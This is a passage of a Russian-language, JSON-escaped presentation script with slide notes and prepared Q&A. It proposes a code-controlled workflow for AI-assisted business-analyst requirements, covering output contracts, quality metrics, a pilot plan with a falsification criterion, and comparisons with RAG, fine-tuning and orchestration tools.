\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 